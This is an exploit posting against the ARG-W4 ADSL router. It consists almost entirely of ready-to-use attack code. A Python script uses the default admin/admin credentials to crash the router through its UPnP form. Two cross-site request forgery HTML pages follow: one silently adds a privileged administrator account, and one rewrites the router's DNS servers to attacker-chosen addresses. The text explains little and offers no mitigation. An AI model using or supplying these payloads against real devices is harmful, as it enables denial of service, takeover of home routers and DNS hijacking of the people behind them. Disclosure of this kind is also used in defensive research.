ARG-W4 ADSL Router – Multiple Vulnerabilities
# Exploit Title: ARG-W4 ADSL Router - Multiple Vulnerabilities # Date: 2016-12-11 # Exploit Author: Persian Hack Team # Discovered by : Mojtaba MobhaM # Tested on: Windows AND Linux # Exploit Demo : http://persian-team.ir/showthread.php?tid=196 1 - Denial of Service #!/usr/bin/python import urllib2 import urllib site=raw_input("Enter Url : ") site=site+"/form2Upnp.cgi" username='admin' password='admin' p = urllib2.HTTPPasswordMgrWithDefaultRealm() p.add_password(None, site, username, password) handler = urllib2.HTTPBasicAuthHandler(p) opener = urllib2.build_opener(handler) urllib2.install_opener(opener) post = {'daemon':' ','ext_if':'pppoe+1','submit.htm?upnp.htm':'Send'} data = urllib.urlencode(post) try: html = urllib2.urlopen(site,data) print ("Done ! c_C") except: print ("Done ! c_C") 2-1 Cross-Site Request Forgery (Add Admin) <html> <body> <form action="http://192.168.1.1/form2userconfig.cgi" method="POST"> USER:<input type="text" name="username" value="mobham" /> <input type="hidden" name="privilege" value="2" /> PWD:<input type="text" name="newpass" value="mobham" /> RPWD:<input type="texr" name="confpass" value="mobham" /> <input type="hidden" name="adduser" value="Add" /> <input type="hidden" name="hiddenpass" value="" /> <input type="hidden" name="submit.htm?userconfig.htm" value="Send" /> <input type="submit" value="Submit request" /> </form> </body> </html> 2-2 Cross-Site Request Forgery (Change DNS) <html> <body> <form action="http://192.168.1.1/form2Dns.cgi" method="POST"> <input type="hidden" name="dnsMode" value="1" /> DNS<input type="text" name="dns1" value="2.2.2.2" /> DNS 2<input type="text" name="dns2" value="1.1.1.1" /> DNS 3<input type="text" name="dns3" value="" /> <input type="hidden" name="submit.htm?dns.htm" value="Send" /> <input type="hidden" name="save" value="Apply Changes" /> <input type="submit" value="Submit request" /> </form> </body> </html> |